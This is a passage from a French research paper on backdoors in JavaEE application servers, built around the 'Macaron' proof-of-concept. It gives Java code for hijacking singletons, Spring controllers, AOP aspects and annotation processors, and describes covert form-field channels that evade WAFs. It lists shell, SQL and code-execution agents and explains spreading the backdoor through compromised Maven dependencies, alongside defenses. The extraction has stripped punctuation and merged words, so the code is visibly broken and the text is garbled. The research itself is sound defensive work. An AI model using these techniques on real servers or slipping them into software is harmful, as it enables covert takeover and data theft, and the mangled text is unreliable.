La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

